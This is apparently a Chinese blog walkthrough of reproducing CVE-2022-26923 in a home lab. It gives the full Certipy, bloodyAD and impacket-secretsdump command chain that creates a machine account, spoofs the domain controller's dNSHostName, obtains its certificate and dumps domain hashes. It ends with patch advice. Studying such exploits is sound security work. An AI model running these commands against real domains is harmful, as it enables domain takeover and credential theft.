前言
AD CS (Active Directory Certipy Server是允许你构建公钥基础机构 (PKI 并为你的组织提供公钥加密、数字证书和数字签名功能的服务器角色。
漏洞影响范围
Windows 8.1
Windows 10 Version 1607, 1809,1909, 2004, 20H2, 21H1, 21H2
Windows 11
Windows Server 2008，2012，2016，2019，2022环境搭建
kali ip:192.168.33.131
windows server 2012 ip: 192.168.33.144windows server 2012网络配置，这里想改计算机全名但是忘记了，如果要好记得名字，可以安装域前先改掉
在kali需要两个工具 Certipy 和bloody
certipy配置
https://github.com/ly4k/Certipy //工具所在网址
git clone https://github.com/ly4k/Certipy.git
cd Certipy
proxychains4 python3 setup.py install //配置代理安装(这里我用的是proxychains4的，也可以用proxychains，如果有的话
这里我是直接去github下载再复制到kali，就跳过第二条命令
由于我这里因为pip没装，所以我又装了pip
pip安装的步骤参考此链接：https://www.cnblogs.com/BlogVice-2203/p/17011741.html配置bloodyAD
https://github.com/CravateRouge/bloodyAD
git clone https://github.com/CravateRouge/bloodyAD.git
cd bloodyAD
proxychains4 pip3 install -r requirements.txtapt-get install libkrb5-dev
总结一下上面bloodyAD安装
先执行apt-get install libkrb5-dev
再执行proxychains4 pip3 install -r requirements.txt看看是否有报错
如果有就使用pip install 需要的安装包(如果有需要必要的版本可以 pip install 安装包==需要的版本号 如上图所示
最后再执行proxychains4 pip3 install -r requirements.txt会发现没有报错就是执行成功。漏洞复现
执行以下代码之前需要运行
pip3 install certipy-ad
这是我的申请CA证书的poc
certipy req -username test@xming.com -password zgm#1573 -ca xming-WIN-UE0S6A9DB79-CA -target WIN-UE0S6A9DB79.xming.com -template User
然后再执行
certipy auth -pfx test.pfx -dc-ip 192.168.33.144使用bloodyAD查看ms-DS-MachineAccountQuota属性，如果ms-DS-MachineAccountQuota>0就可以创建机器帐户
python3 bloodyAD.py -d xming.com -u test -p zgm#1573 --host 192.168.33.144 getObjectAttributes "DC=xming,DC=com" ms-DS-MachineAccountQuota
这里一开始是报错 需要在/usr/local/lib/python3.10/dist-packages/ldap3/utils/ntlm.py 修改from Crypto.Hash import MD4 为 from Cryptodome.Hash import MD4
没报错且运行出来的老铁可以不改
使用bloodyAD查看ms-DS-MachineAccountQuota属性，如果ms-DS-MachineAccountQuota>0就可以创建机器帐户python3 bloodyAD.py -d 'xming.com' -u 'test' -p 'zgm#1573' --host '192.168.33.144' addComputer test66 'jntm'
创建一个test66密码为jntm的机器账户python3 bloodyAD.py -d 'xming.com' -u 'test' -p 'zgm#1573' --host '192.168.33.144' setAttribute 'CN=test66,CN=Computers,DC=xming,DC=com' DNSHOSTName '["WIN-UE0S6A9DB79.xming.com"]'
python3 bloodyAD.py -d 'xming.com' -u 'test' -p 'zgm#1573' --host '192.168.33.144' getObjectAttributes 'CN=test66,CN=Computers,DC=xming,DC=com' DNSHOSTName根据MS-ADTS（3.1.1.5.1.3） 唯一性约束，UPN必须是唯一的，不能有两个具有相同UPN的用户
这里使用的是计算机账户模板(Machine，不再是User
certipy req -username test66\$@xming.com -password jntm -ca xming-WIN-UE0S6A9DB79-CA -target xming.com -template Machine -debug
生成一个win-ue0s6a9db79.pfx
这里调了一个bug 我把kali的网关改为了192.168.33.144否则总是报错
certipy auth -pfx win-ue0s6a9db79.pfx -dc-ip 192.168.33.144
这里如果报错KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type，直接去重新启动一下你的AD CS而不是重启虚拟机(可以重启但可能登陆不进去impacket-secretsdump 'xming.com/win-ue0s6a9db79$@xming.com' -hashes :3fa24d31749f89de0db2449ab8014c79![](https://img2023.cnblogs.com/blog/2913000/202301/2913000-20230101141133348-72226788.png总结与修复建议
修复建议:安装微软给出的补丁 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923
其中说到域证书服务和域服务可以不用安装到一台服务器，以规避风险